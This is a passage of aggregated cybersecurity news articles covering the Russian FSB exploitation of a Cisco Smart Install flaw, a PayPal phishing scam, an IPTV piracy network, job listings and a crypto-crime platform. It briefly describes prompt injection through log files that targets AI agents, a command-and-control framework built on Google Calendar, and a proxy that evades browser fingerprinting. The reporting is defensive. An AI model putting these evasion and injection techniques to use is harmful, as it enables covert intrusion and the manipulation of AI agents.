Russia-linked networks, such as Operation Overload, Operation Undercut, Foundation to Battle Injustice, and Portal Kombat, seeking to destabilize the elections and derail Moldova's European Union (E.U.) accession. Besides attempting to frame the current Moldova leadership as corrupt and counter to Moldova's interests, the activity portrays "Moldova's further integration with the E.U. as disastrous for its economic future and sovereignty, and Moldova as a whole as at odds with European standards and values." The campaign has not achieved any substantial success in shaping public opinion, Recorded Future added. Massive IPTV Piracy Network Uncovered — A large Internet Protocol Television (IPTV) piracy network spanning more than 1,100 domains and over 10,000 IP addresses has been discovered hosting pirated content, illegally restreaming licensed channels, and engaging in subscription fraud. Active for several years, more than 20 major brands have been affected, including: Prime Video, Bein Sports, Disney Plus, NPO Plus, Formula 1, HBO, Viaplay, Videoland, Discovery Channel, Ziggo Sports, Netflix, Apple TV, Hulu, NBA, RMC Sport, Premier League, Champions League, Sky Sports, NHL, WWE, and UFC. Silent Push said it identified a company named XuiOne that's involved in profiting from hosting pirated content. XuiOne is believed to share connections with Stalker_Portal, another well-known open-source IPTV project that has been around since 2013. These services are advertised in the form of Android apps, with the domains distributed via Facebook groups and Imgur. Security Analysis of WhatsApp Message Summarization — NCC Group has published an in-depth analysis of WhatsApp's AI-powered Message Summarization feature, which was announced by the messaging platform in June 2025. In all, the assessment discovered 21 findings, 16 of which were fixed by WhatsApp. This included three notable weaknesses: The hypervisor could have assigned network interfaces to the CVM through which private data could be exfiltrated; any old Confidential Virtual Machine (CVM) image with known vulnerabilities could have been indefinitely used by an attacker; and the ability to serve malicious key configurations to WhatsApp clients could have allowed Meta to violate privacy and non-targetability assurances. Indirect Prompt Injection via Log Files — Large language models (LLMs) used in a security context can be deceived by specially crafted events and log files injected with hidden prompts to execute malicious actions when they are parsed by AI agents. 🎥 Cybersecurity Webinars From Blind Spots to Clarity: Why Code-to-Cloud Visibility Defines Modern AppSec — Most security programs know their risks—but not where they truly begin or how they spread. That gap between code and cloud is costing teams time, ownership, and resilience. This webinar shows how code-to-cloud visibility closes that gap by giving developers, DevOps, and security a shared view of vulnerabilities, misconfigurations, and runtime exposure. The result? Less noise, faster fixes, and stronger protection for the applications your business depends on. Shadow AI Agents: The Hidden Risk Driving Enterprise Blind Spots — AI Agents are no longer futuristic—they’re already embedded in your workflows, processes, and platforms. The problem? Many of them are invisible to governance, fueled by unchecked non-human identities that create a growing attack surface. Shadow AI doesn’t just add complexity; it multiplies risk with every click. This webinar unpacks where these agents are hiding, how to spot them before attackers do, and what steps you can take to bring them under control without slowing innovation. AI + Quantum 2.0: The Double Disruption Security Leaders Can’t Ignore — The next cybersecurity crisis won’t come from AI or quantum alone—it will come from their convergence. As quantum breakthroughs accelerate and AI drives automation at scale, the attack surface for sensitive industries is expanding faster than most defenses can keep up. This panel brings together leading voices from research, government, and industry to unpack what Quantum 2.0 means for security, why quantum-safe cryptography and AI resilience must go hand-in-hand, and how decision-makers can start building trust and resilience before adversaries weaponize these technologies. 🔧 Cybersecurity Tools MeetC2 — It is a clever proof-of-concept C2 framework that uses Google Calendar—yes, the same calendar your team uses every day—as a hidden command channel between an operator and a compromised endpoint. By polling for events and embedding commands into calendar items via Google’s trusted APIs (oauth2.googleapis.com, www.googleapis.com), it shows how legitimate SaaS platforms can be repurposed for covert operations. Security teams can use MeetC2 in controlled purple-team exercises to sharpen detection logic around unusual calendar API usage, validate logging and telemetry effectiveness, and fine-tune safeguards against stealthy cloud-based C2 strategies. In short, it equips defenders with a lightweight, highly relevant testbed to simulate and proactively defend against next-gen adversarial tradecraft. thermoptic – It is an advanced HTTP proxy that cloaks low-level clients like curl to appear indistinguishable from a full Chrome/Chromium browser at the network fingerprinting layer. Modern WAFs and anti-bot systems increasingly rely on JA4+ signatures—tracking TLS, HTTP, TCP, and certificate fingerprints—to block scraping tools or detect when users switch from browsers to scripts. By routing requests through a containerized Chrome instance, thermoptic ensures fingerprints match real browsers byte-for-byte, even across multiple layers. For defenders, this is a powerful way to test detection pipelines against sophisticated evasion tactics, validate JA4+ logging visibility, and explore how adversaries might blend into legitimate browser traffic. For ethical researchers and red teams, thermoptic offers a realistic, open-source platform to simulate stealthy scraping or covert traffic—helping security teams move from theory to resilience in the fingerprinting arms race. Disclaimer: The tools featured here are provided strictly for educational and research purposes. They have not undergone full security audits, and their behavior may introduce risks if misused. Before experimenting, carefully review the source code, test only in controlled environments, and apply appropriate safeguards. Always ensure your usage aligns with ethical guidelines, legal requirements, and organizational policies. 🔒 Tip of the Week Lock Down Your Router Before Hackers Ever Get a Foot in the Door — Most people think of router security as just “change the password” or “disable UPnP.” But attackers are getting far more creative: from rerouting internet traffic through fake BGP paths, to hijacking cloud services that talk directly to your router. The best defense? A layered approach that closes those doors before compromise happens. Here are 3 advanced but practical moves you can start today: Protect Your Internet Route with RPKI Why it matters: Attackers sometimes hijack internet routes (BGP attacks) to spy on or reroute your traffic. Try this: Even if you’re not running a big enterprise, you can check if your ISP supports RPKI (Resource Public Key Infrastructure) using the free Is BGP Safe Yet? tool. If your provider isn’t secured, ask them about RPKI. Use Short-Lived Access Keys Instead of Static Passwords Why it matters: A single stolen router password can let attackers in for years. Try this: If your router supports it (OpenWRT, pfSense, MikroTik), set up SSH access with keys instead of passwords. For home or small office users, tools like YubiKey can generate one-time login tokens, so even if your PC is hacked, the router stays safe. Control Who Can Even Knock on the Door Why it matters: Most router compromises happen because attackers can reach the management port from the internet. Try this: Instead of leaving management open, use Single Packet Authorization (SPA) with a free tool like fwknop. It hides your router’s management ports until you send a secret “knock,” making your router invisible to scanners. Think of your router as the “front door to your digital house.” With these tools, you’re not just locking it — you’re making sure attackers don’t even know where the door is, and even if they do, the key changes every day. Conclusion That wraps up this week’s briefing, but the story never really ends. New exploits, new tactics, and new risks are already on the horizon—and we’ll be here to break them down for you. Until then, stay sharp, stay curious, and remember: one clear insight can make all the difference in stopping the next attack.
thehackernews.comSep 8, 2025extracted
US Offers $10 Million for Three Russian Energy Firm Hackers
The US Department of State this week announced rewards of up to $10 million for information on three Russian Federal Security Service (FSB) officers. According to the government, the three, Pavel Aleksandrovich Akulov, Mikhail Mikhailovich Gavrilov, and Marat Valeryevich Tyukov, conspired to hack into the networks of hundreds of energy companies in the US and abroad. The purpose of the attacks, the State Department says, was to enable “the Russian government to disrupt and damage such facilities”. The three officers and their co-conspirators “targeted more than 380 foreign energy-sector companies in 135 countries,” the department notes on its Rewards for Justice website. The suspects, members of the FSB’s Center 16 unit, targeted American and foreign oil and gas firms, nuclear power plants, renewable energy firms, utility and electrical grid entities, consulting and engineering groups, and advanced technology companies. In August 2021, Akulov, Gavrilov, and Tyukov were indicted in the US with substantive charges of computer fraud and abuse, wire fraud, and aggravated identity theft. According to the indictment, they targeted energy companies as part of the Dragonfly campaign that involved obtaining persistent access to victim networks and infecting them with the Havex malware, through supply chain compromise. In the second phase of the campaign, referred to as Dragonfly 2.0, the three allegedly targeted over 3,300 users at more than 500 US and international companies and entities, including US government agencies, in spear-phishing attacks. In August 2025, the FBI warned that FSB’s Center 16 unit, tracked within the cybersecurity community as Berserk Bear, Blue Kraken, Castle, Crouching Yeti, Dragonfly, Ghost Blizzard, and Koala Team, has been targeting old vulnerabilities in Cisco networking devices. Cisco, which attributed the activity to Static Tundra, a sub-group within the state-sponsored APT known as Energetic Bear, said the primary focus of the attacks was to establish persistent access and harvest configuration information. Related: Amazon Disrupts Russian Hacking Campaign Targeting Microsoft Users Related: US Sanctions Russian National, Chinese Firm Aiding North Korean IT Workers Related: Google Hub in Poland to Develop AI Use in Energy and Cybersecurity Sectors Related: Russia-Linked Hackers Targeting Russian Industrial Organizations
securityweek.comSep 4, 2025extracted
US offers $10 million bounty for info on Russian FSB hackers
The U.S. Department of State is offering a reward of up to $10 million for information on three Russian Federal Security Service (FSB) officers involved in cyberattacks targeting U.S. critical infrastructure organizations on behalf of the Russian government. The three individuals, Marat Valeryevich Tyukov, Mikhail Mikhailovich Gavrilov, and Pavel Aleksandrovich Akulov, are part of the FSB's Center 16 or Military Unit 71330, which is tracked as Berserk Bear, Blue Kraken, Crouching Yeti, Dragonfly, and Koala Team. In March 2022, the three FBS officers were also charged for their involvement in a campaign that took place between 2012 and 2017, targeting U.S. government agencies, including the Nuclear Regulatory Commission, as well as energy companies like Wolf Creek Nuclear Operating Corporation, which operates a nuclear power plant in Burlington, Kansas. "For information on three Russian FSB officers who conducted malicious cyber activities against U.S. critical infrastructure on behalf of the Russian government. These officers also targeted more than 500 foreign energy companies in 135 other countries," the State Department tweeted on Tuesday. "If you have information on their activities, contact Rewards for Justice via the Tor-based tips-reporting channel [..] You could be eligible for a reward and relocation." More recently, as the FBI warned in August, they exploited the CVE-2018-0171 vulnerability in end-of-life Cisco networking devices over the past year to breach companies across U.S. critical infrastructure sectors by remotely executing arbitrary code on unpatched devices. Cisco, which first detected CVE-2018-0171 attacks almost four years ago, in November 2021, updated its advisory and urged network admins and security teams to patch their devices against attacks as soon as possible. The networking giant's cybersecurity division, Cisco Talos, reported that the Russian state-sponsored hacking group has been aggressively exploiting this security vulnerability to breach unpatched devices belonging to telecommunications, higher education, and manufacturing organizations across North America, Europe, Asia, and Africa. The same Russian threat group is known for attacking U.S. state, local, territorial, and tribal (SLTT) government organizations and aviation entities over the last decade. In June, the U.S. State Department also announced a reward of up to $10 million for information on state hackers tied to the RedLine infostealer malware operation and its suspected creator, Russian national Maxim Alexandrovich Rudometov. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comSep 3, 2025extracted
PayPal users targeted in account profile scam
A co-worker forwarded this rather convincing PayPal scam to me. Thanks Elena. A highly sophisticated email scam is targeting PayPal users with the subject line of “Set up your account profile.” We decided to see what the scammers are after. First thing to do is to look at the headers: The sender address [email protected] (sometimes the emails come from [email protected]) looks legitimate because it is, but the scammers have spoofed the address. Basically, when someone sends an email, their computer tells the email system what address to show as the sender. Scammers take advantage of this by using special software or programs that let them type in any “From” address they want. This technique is called spoofing. The scammer sends their email through the internet, and since most email systems aren’t strict about checking this information, the fake sender address is displayed just like a real one would be. So it’s hard for the everyday user to tell if the email has been spoofed or not. There are other signs that the email might be a scam though. There is the unusual recipient address, which is nothing like the one of my co-worker. Rather than targeting one individual, scammers set up a distribution list (often using Microsoft 365/Google test domains) with their own domain or, in this case, a compromised one. This allows them to send bulk phishing emails while masking their intent, but does mean that recipients see an unfamiliar address, e.g. {somebody}@{unknow-domain}.test-google-a.com, instead of their own. The “.test-google-a.com” part of the address refers to a domain often used in testing or in cloud setups through Google Workspace, but in the context of this scam email, it’s a strong indicator of malicious activity or advanced phishing techniques rather than official Google practice. So, that’s red flag #1. When looking at the email itself, the subject line has nothing to do with what the email is asking the target to do. That’s red flag #2. “Set up your PayPal account profile New Profile Charge: We have detected a new payment profile with a charge of $910.45 USD at Kraken.com. To dispute, contact PayPal at (805) 500-8413. Otherwise, no action is required. PayPal accept automatic pending bill from this account.Your New PayPal Account added you to the Crypto Wallet account. Your user ID: Receipt43535e Use this link to finish setting up your profile for this account. The link will expire in 24 hours.” The layout of the email looks convincing enough, likely copied from an actual PayPal email. The content however is typical for a phishing email: Urgency: The link will expire in 24 hours. Amount: Over $900 dollars to grab your attention Crypto wallet: most people have only a vague notion of how crypto wallets work, so they don’t see the lie immediately. And Kraken.com is a crypto trading platform, so there is no discrepancy there. The phone number listed is known by the Better Business Bureau as related to this type of scam The recipient is not addressed by name in the email. Legitimate PayPal emails will always address you by your full name or business name, never generic greetings like “Dear Customer” or “Dear User”, or none at all as in this example. Red flag #3, 4, 5, 6, and 7. The language used in the email is not perfect, but also not bad enough to stand out like a sore thumb. We have discussed in the past how AI-supported spear phishing fools more than 50% of targets, so looking for spelling errors is often not helpful these days. But now comes the part which showcases the sophistication level of this scam. The link the button in the email points to, actually goes to PayPal. However, the effect is different from what the target of the phishing email would expect. They are not going to set up a profile nor dispute a payment. By clicking the link in the email, the target starts the routine to add a secondary user to their PayPal account. The danger here is that a secondary user can issue payments. In other words, the scammer would be able to clean out your PayPal account. PayPal has over 434 million active users so for phishers that’s a large target audience. To make their attacks more targeted, some groups of phishers will buy or steal large databases of email addresses that are associated with PayPal accounts or which have previously interacted with PayPal services. How to stay safe As far as we could determine this campaign has been running for a month or more. Here are some tips to help you avoid being caught out: Look out for the red flags above. Always search phone numbers and email addresses to look for associations with known scams. Go directly to PayPal.com to see if there are any messages for your account. Enable two-factor authentication (2FA) to add an extra layer of security to your PayPal account and help prevent scammers getting in. Report suspicious emails and phishing emails to [email protected]. Then delete them. Something feel off? Check it before you click. Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
malwarebytes.comSep 3, 2025extracted
Cybersecurity jobs available right now: September 2, 2025
Cybersecurity jobs available right now: September 2, 2025 CISO Shift Technology | France | Remote – No longer accepting applications As a CISO, you will develop and execute a comprehensive enterprise information security strategy aligned with company goals and risk tolerance. Lead incident response efforts and continuously improve detection, response, and recovery capabilities. Conduct risk assessments and implement appropriate mitigation strategies. CISO Demandbase | USA | On-site – No longer accepting applications As a CISO, you will establish governance and technical controls to ensure safe AI adoption, protect model inputs and outputs, and maintain compliance with evolving AI-related regulations and frameworks. Partner with engineering and DevOps to embed security into the software development lifecycle (SDLC), CI/CD pipelines, and infrastructure. Ensure secure-by-design practices for all cloud-native and customer-facing products. CISO CIB Market Operations HSBC | India | On-site – No longer accepting applications The CISO – CIB Market Operations assists with definition of the global Cybersecurity strategy and ensures its execution through GBGI- and Globally-led programmes that provide adequate, embedded, and effective protection of the firm’s information and technology assets. Get weekly updates on new cybersecurity job openings. Subscribe here! Cyber Security Analyst AIG | Ireland | On-site – No longer accepting applications As a Cyber Security Analyst, you will leverage aggregated cyber threat intelligence, log, network flow, and anomaly data for analysis, research and the identification of potential compromise within AIG’s infrastructure or applications. Perform root cause analysis to identify gaps and provide technical and procedural recommendations that will reduce AIG’s exposure to cyber-risks. Cyber Security Engineer Woh Hup | Singapore | Hybrid – No longer accepting applications As a Cyber Security Engineer, you will perform threat analysis, incident response, and post-incident reviews to minimize impact and improve defenses. Regularly assess and enhance cybersecurity posture through vulnerability assessments and risk analysis. Cyber Security Engineer II FableticsOS | USA | On-site – No longer accepting applications As a Cyber Security Engineer II, you will monitor and analyze cybersecurity alerts and events from SIEM, EDR, and other tools to detect and respond to threats. Assist in vulnerability assessments, patching cycles, and remediation tracking. Conduct root cause analysis and document forensic investigation findings. Cyber Security Intern Upwind Security | Israel | On-site – No longer accepting applications As a Cyber Security Intern, you will be responsible for assisting in monitoring and analyzing security events, conducting vulnerability assessments, and supporting incident response activities. Additional tasks include researching emerging threats, assisting in the implementation of security policies, and participating in security awareness programs. Cyber Security Lead Adani Airport Holdings | India | On-site – No longer accepting applications As a Cyber Security Lead, you will develop risk mitigation strategies and ensure timely resolution. Develop security policies/processes as per industry standards and regulatory guidelines. (e.g., ISO 27001, BCAS, Data Privacy regulations, etc.). Assist forensic investigations in case of security breaches affecting IT/OT infrastructure Cyber Security Manager Northern Sydney Local Health District | Australia | On-site – No longer accepting applications As a Cyber Security Manager, you will provide overall management, leadership, development and application of governance, and continuous improvement of cyber security frameworks, policies, and controls to protect critical LHD digital systems, infrastructure and data in line with the NSW Digital Information Security Policy. Cybersecurity and Vulnerability Management Specialist World Food Programme | Italy | Remote – No longer accepting applications As a Cybersecurity and Vulnerability Management Specialist, you will design and coordinate adversarial validation activities such as penetration tests, threat exposure assessments, and red/purple team exercises to identify detection gaps, exploitable weak points and assess their risk impact in real-world scenarios. Defence Digital Cyber Security Assistant Head UK Ministry of Defence | United Kingdom | On-site – No longer accepting applications As a Defence Digital Cyber Security Assistant Head, you will lead a team providing timely, impartial and consistent assurance, assessment and advisory services across Defence. You’ll advise on escalation of complex risk decisions, explain cyber security policy, governance and technology to non-experts and lead a diverse team of skilled cyber security professionals. Head of Compliance & Risk Kraken | UAE | Remote – No longer accepting applications As a Head of Compliance & Risk, you will develop, maintain, and continuously improve the Compliance Management System aligned with VARA regulations and global best practices (FATF, AMLD5, etc.). Lead the creation and execution of Business Continuity Plans and Incident Response strategies. Information Security Officer Worldline | France | Hybrid – No longer accepting applications As an Information Security Officer, you will lead and/or support multiple security processes including ISMS governance, risk assessments, and control frameworks, ensuring alignment with business requirements and regulations. Establish and maintain security dashboards and KPIs/KRIs, coordinating with stakeholders for data gathering and analysis. IT Security Engineer Cisco | Ireland | On-site – No longer accepting applications As an IT Security Engineer, you will Develop and Migrate and maintain identity governance frameworks to ensure user access is stays in sync with regulatory requirements and company policies. Implement and handle IAM systems, including provisioning, deprovisioning, and access reviews. Resolve issues raised by users of the platform within SLAs using standard operating procedures following ITIL framework. IT/OT SOC Manager Accenture | UAE | On-site – No longer accepting applications As an IT/OT SOC Manager, you will oversee SOC operational processes, including alert triage, escalation, incident handling, and post-incident reviews. Lead integration of data sources from ICS, SCADA, DCS, PLCs, HMIs, and enterprise IT infrastructure into SIEM/SOAR platforms. Monitor evolving threats, vulnerabilities, and attack vectors targeting both IT and OT systems. Manager Cyber Security Kia Europe | Germany | On-site – No longer accepting applications As a Manager Cyber Security, you will manage the IT security across all Kia Europe departments, National Sales Companies and subsidiaries e.g. Kia Connect. Define, implement and continuously improve IT security training plans for all European users and subsequently conduct regular phishing tests as required. Audit IT security policies and controls including 3rd parties e.g. Hyundai Autoever Europe. Manager Information Security, Risk & Compliance AND-E | Germany | On-site – No longer accepting applications As a Manager Information Security, Risk & Compliance, you will design, implement, and continuously improve ISMS in line with international standards (e.g., ISO/IEC 27001), including preparation for audits and certifications. Conduct risk assessments, vulnerability analyses, and threat modeling to strengthen cybersecurity posture. Align IT operations with regulatory frameworks such as GDPR, NIST, and COBIT, while ensuring adherence to internal policies. Network Security Engineer Capital.com | Italy | Hybrid – No longer accepting applications As a Network Security Engineer, you will design, develop, implement and maintain solutions to protect and monitor the network from threats (firewalls, IDS/IPS, VPN, NAC, etc). Analyze network traffic to identify anomalies and threats. Audit and review network security systems/tools configurations to ensure compliance with security standards. Penetration Tester Bytes Software Services | United Kingdom | Remote – No longer accepting applications As a Penetration Tester, you will perform penetration testing assignments aligned with expertise, covering infrastructure, web applications, APIs, mobile applications, red team, and cloud configuration reviews. Support scoping calls and collaborate with account managers to define penetration testing requirements, provide technical input, and ensure seamless client interactions and service delivery. Principal Security Researcher Microsoft | Israel | Hybrid – No longer accepting applications As a Principal Security Researcher, you will conduct data-driven research that produces new insights, theories, algorithms, and prototypes that advance Cloud and AI threat protection. Investigate, analyze, and learn from security researchers, attackers, and real incidents to develop durable protection strategies across the entire kill-chain. Privacy Engineer – Privacy Red Team Meta | USA | On-site – No longer accepting applications As a Privacy Engineer – Privacy Red Team, you will perform hands-on testing to find and exploit privacy weaknesses. You will work with teams across the company to fix issues and clearly communicate your findings. You will improve team processes, promote best practices for protecting user data, and lead red team operations to test response capabilities. Senior Cybersecurity Engineer Odyssey Systems | USA | On-site – No longer accepting applications As a Senior Cybersecurity Engineer, you will coordinate the implementation, distribution, and remediation of security updates, configurations, and software patches in compliance with DoD directives. Conduct security audits, contingency planning reviews, and risk assessments to ensure organizational resilience. Analyze cybersecurity control implementations across open systems architecture, derived specifications, and design documents. Senior Application Security Engineer Chipotle Mexican Grill | USA | On-site – No longer accepting applications As a Senior Application Security Engineer, you will facilitate the security baked into company’s applications throughout the software development lifecycle. Design and implement AI security testing protocols to ensure the security and integrity of LLMs. Develop and execute AI benchmarking and safety testing strategies for internal applications. Senior Engineer, Cybersecurity (Network Security) NielsenIQ | Canada | Remote – No longer accepting applications As a Senior Engineer, Cybersecurity (Network Security), you will lead the design and implementation of secure, scalable infrastructure solutions that align with NIQ’s security and compliance objectives. Identify and mitigate risks, lead root cause analyses, and drive long-term improvements that reflect NIQ’s commitment to quality and accountability.
helpnetsecurity.comSep 2, 2025extracted
FBI warns of Russian hackers exploiting 7-year-old Cisco flaw
The Federal Bureau of Investigation (FBI) has warned that hackers linked to Russia's Federal Security Service (FSB) are targeting critical infrastructure organizations in attacks exploiting a 7-year-old vulnerability in Cisco devices. The FBI's public service announcement states that the state-backed hacking group, linked to the FSB's Center 16 unit and tracked as Berserk Bear (also known as Blue Kraken, Crouching Yeti, Dragonfly, and Koala Team), has been targeting Cisco networking devices using CVE-2018-0171 exploits to breach organizations worldwide. Successful exploitation of CVE-2018-0171, a critical vulnerability in the Smart Install feature of Cisco IOS and Cisco IOS XE software, can allow unauthenticated threat actors to remotely trigger a reload of unpatched devices, potentially resulting in a denial-of-service (DoS) condition or enabling the attackers to execute arbitrary code on the targeted device. "In the past year, the FBI detected the actors collecting configuration files for thousands of networking devices associated with US entities across critical infrastructure sectors. On some vulnerable devices, the actors modified configuration files to enable unauthorized access to those devices," the FBI said. "The actors used the unauthorized access to conduct reconnaissance in the victim networks, which revealed their interest in protocols and applications commonly associated with industrial control systems." The same hacking group has previously targeted the networks of US state, local, territorial, and tribal (SLTT) government organizations and aviation entities over the last decade. Admins urged to patch as soon as possible Cisco, which first detected attacks targeting the CVE-2018-0171 flaw in November 2021, updated its advisory on Wednesday, urging administrators to secure their devices against ongoing attacks as soon as possible. Cisco Talos, the company's cybersecurity division, said that the Russian threat group it tracks as Static Tundra has been aggressively exploiting CVE-2018-0171 in this campaign to compromise unpatched devices belonging to telecommunications, higher education, and manufacturing organizations across North America, Asia, Africa, and Europe. The attackers were also observed using custom SNMP tooling that enables them to gain persistence on compromised devices and evade detection for years, as well as the SYNful Knock firmware implant, first spotted in 2015 by FireEye. "The threat extends beyond Russia's operations — other state-sponsored actors are likely conducting similar network device compromise campaigns, making comprehensive patching and security hardening critical for all organizations," Cisco Talos added. "Threat actors will continue to abuse devices which remain unpatched and have Smart Install enabled." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 21, 2025extracted
Russian APT Exploiting 7-Year-Old Cisco Vulnerability: FBI
For years, a Russian state-sponsored threat actor has been exploiting an old vulnerability in Cisco networking devices to collect configuration information, Cisco and the FBI warn. Patches for the flaw, tracked as CVE-2018-0171 (CVSS score of 9.8) and impacting the Smart Install (SMI) feature of Cisco’s IOS and IOS XE products, were released in March 2018.Russian state-sponsored hackers tracked as Static Tundra continue to target Cisco devices affected by CVE-2018-0171. On Wednesday, the FBI warned that hackers working for the Russian government have been exploiting discontinued devices unpatched against this bug in attacks targeting entities in the US and abroad. “In the past year, the FBI detected the actors collecting configuration files for thousands of networking devices associated with US entities across critical infrastructure sectors. On some vulnerable devices, the actors modified configuration files to enable unauthorized access to those devices,” the FBI says. The agency attributes the attacks to the Russian Federal Security Service’s (FSB) Center 16 unit, which is tracked within the cybersecurity community as Berserk Bear, Blue Kraken, Castle, Crouching Yeti, Dragonfly, Ghost Blizzard, and Koala Team. “For over a decade, this unit has compromised networking devices globally, particularly devices accepting legacy unencrypted protocols like SMI and SNMP versions 1 and 2. This unit has also deployed custom tools to certain Cisco devices, such as the malware publicly identified as ‘SYNful Knock’ in 2015,” the FBI notes. Cisco, which has updated its 2018 advisory to warn of the ongoing exploitation of CVE-2018-0171, tracks the activity as Static Tundra, attributing it to a sub-group within Energetic Bear. According to Cisco’s Talos researchers, Static Tundra is a cyberespionage group that exploits networking devices to harvest configuration information and establish persistent access to targets of interest. “Once they establish initial access to a network device, Static Tundra will pivot further into the target environment, compromising additional network devices and establishing channels for long-term persistence and information gathering,” Talos says. Active since at least 2015, the APT has been targeting telecoms, higher education, and manufacturing entities, mainly in Ukraine and allied countries, in support of Russia’s goals. Organizations are advised to apply the patches available for CVE-2018-0171, or to disable the SMI feature to prevent exploitation. Further recommendations can be found in Talos’s blog post. Related: US Offering $10 Million Reward for RedLine Malware Developer Related: West Blames Russia for Satellite Hack Ahead of Ukraine Invasion
securityweek.comAug 21, 2025extracted
FBI Warns FSB-Linked Hackers Exploiting Unpatched Cisco Devices for Cyber Espionage
A Russian state-sponsored cyber espionage group known as Static Tundra has been observed actively exploiting a seven-year-old security flaw in Cisco IOS and Cisco IOS XE software as a means to establish persistent access to target networks. Cisco Talos, which disclosed details of the activity, said the attacks single out organizations in telecommunications, higher education and manufacturing sectors across North America, Asia, Africa and Europe. Prospective victims are chosen based on their "strategic interest" to Russia, it added, with recent efforts directed against Ukraine and its allies following the onset of the Russo-Ukrainian war in 2022. The vulnerability in question is CVE-2018-0171 (CVSS score: 9.8), a critical flaw in the Smart Install feature of Cisco IOS Software and Cisco IOS XE software that could allow an unauthenticated, remote attacker to trigger a denial-of-service (DoS) condition or execute arbitrary code. It's worth noting that the security defect has also been likely weaponized by the China-aligned Salt Typhoon (aka Operator Panda) actors as part of attacks targeting U.S. telecommunication providers in late 2024. Static Tundra, per Talos, is assessed to be linked to the Federal Security Service's (FSB) Center 16 unit and operational for over a decade, with a focus on long-term intelligence gathering operations. It's believed to be a sub-cluster of another group that's tracked as Berserk Bear, Blue Kraken, Crouching Yeti, Dragonfly, Energetic Bear, Ghost Blizzard (formerly Bromine), and Havex. The U.S. Federal Bureau of Investigation (FBI), in a concurrent advisory, said it has observed FSB cyber actors "exploiting Simple Network Management Protocol (SNMP) and end-of-life networking devices running an unpatched vulnerability (CVE-2018-0171) in Cisco Smart Install (SMI) to broadly target entities in the United States and globally." In these attacks observed over the past year, the threat actors have been found collecting configuration files for thousands of networking devices associated with U.S. entities across critical infrastructure sectors. The activity is also characterized by the attackers modifying configuration files on susceptible devices to facilitate unauthorized access. The foothold is then abused to conduct reconnaissance within the victim networks, while simultaneously deploying custom tools like SYNful Knock, a router implant first reported by Mandiant in September 2015. "SYNful Knock is a stealthy modification of the router's firmware image that can be used to maintain persistence within a victim's network," the threat intelligence firm said at the time. "It is customizable and modular in nature and thus can be updated once implanted." Another noteworthy aspect of the attacks concerns the use of SNMP to send instructions to download a text file from a remote server and append it to the current running configuration so as to allow for additional means of access to the network devices. Defense evasion is achieved by modifying TACACS+ configuration on infected appliances to interfere with remote logging functions. "Static Tundra likely uses publicly-available scan data from services such as Shodan or Censys to identify systems of interest," Talos researchers Sara McBroom and Brandon White said. "One of Static Tundra’s primary actions on objectives is to capture network traffic that would be of value from an intelligence perspective." This is accomplished by setting up Generic Routing Encapsulation (GRE) tunnels that redirect traffic of interest to attacker-controlled infrastructure. The adversary has also been spotted collecting and exfiltrating NetFlow data on compromised systems. The harvested data is exfiltrated via outbound TFTP or FTP connections. Static Tundra's activities are primarily focused on unpatched, and often end-of-life, network devices with the goal of establishing access on primary targets and facilitating secondary operations against related targets of interest. Upon gaining initial access, the threat actors burrow deeper into the environment and hack into additional network devices for long-term access and information gathering. To mitigate the risk posed by the threat, Cisco is advising customers to apply the patch for CVE-2018-0171 or disable Smart Install if patching is not an option. "The purpose of this campaign is to compromise and extract device configuration information en masse, which can later be leveraged as needed based on then-current strategic goals and interests of the Russian government," Talos said. "This is demonstrated by Static Tundra’s adaptation and shifts in operational focus as Russia’s priorities have changed over time." Update Cisco has also updated its advisory for CVE-2018-0171, warning of ongoing exploitation of the vulnerability and urging customers to apply the necessary fixes as soon as possible. "Cisco is aware of continued exploitation activity of the vulnerability that is described in this advisory and strongly recommends that customers assess their systems and upgrade to a fixed software release as soon as possible," the company said.
thehackernews.comAug 20, 2025extracted
TRM Launches Industry-Wide Platform to Fight Crypto Crimes
In an industry-first, TRM Labs has launched Beacon Network, an intelligence-sharing platform designed to prevent illicit funds from leaving the blockchain and build a real-time crypto crime response network. The initiative was announced on August 20 on the heels of new TRM Labs data that showed that at least $47bn in cryptocurrency has been sent to fraud-related addresses since 2023. The idea behind Beacon Network is to bring together different actors in the cryptocurrency and cybersecurity ecosystem to share intelligence in real-time in order to prevent major crypto heists like the $1.5bn Bybit hack. Specifically, Beacon Network focuses on several high-impact areas: North Korean (DPRK) IT worker and hack fund disruption Ransomware payment interdiction Terrorism financing prevention Recovering scam victim funds Child sexual abuse material-related financial flows The initiative was developed in collaboration with law enforcement across dozens of countries, leading financial platforms, cryptocurrency exchanges and stablecoin issuers, and a few crypto-security researchers and research firms. Some of the top crypto exchanges joining Beacon Network include Binance, Bitfinex, Coinbase, Crypto.com, HTX, OKX and Kraken alongside other crypto-related companies, such as Ripple, Zodia Custody and Blockchain.com. Some established fintech companies have also joined, including PayPal, Robinhood and Stripe, as well as some of the most active researchers in the world of crypto crimes – including ZachXBT, Security Alliance (SEAL), zeroShadow, Hypernative, Operation Shamrock and CryptoForensics Investigators. How the Beacon Network Platform Works According to TRM Labs’ announcement, Beacon Network is pursuing four objectives: Flagging and propagation: Verified investigators (which includes some members of vetted law enforcement agencies, TRM Labs’ partner members and vetted security researchers) flag addresses linked to financial crime and Beacon Network automatically propagates those labels across related wallets Real-time alerts: When tagged funds arrive at a participating exchange or issuer, Beacon Network triggers an instant alert Rapid response: Crypto platforms can proactively review and hold flagged deposits before withdrawal, stopping illicit cash-outs in their tracks Accessible by design: Affiliate membership is free for verified exchanges and law enforcement partners Vetted law enforcement agencies are located in Australia, Canada, Germany, Ireland, the Netherlands, Portugal, Spain, South Korea, Switzerland, the UK, the US and more. According to TRM Labs, the difference between Beacon Network and similar initiatives lies in the real-time response. “In real time, Beacon Network automatically traces those funds across the blockchain and propagates that intelligence to connected services,” the announcement reads. “When flagged funds hit a participating platform, the system immediately sends an alert — all without human intervention. This automated tracing and real-time notification means that illicit funds can be identified, tracked, and acted on before they can be withdrawn or laundered.” Proving That Crypto Can Be the “Most Secure Financial System” Esteban Castaño, CEO and co-founder of TRM Labs, assured that Beacon Network’s aim is not to add another layer of compliance. “It’s about unlocking the full potential of crypto: real-time transparency, automated detection, and rapid response. 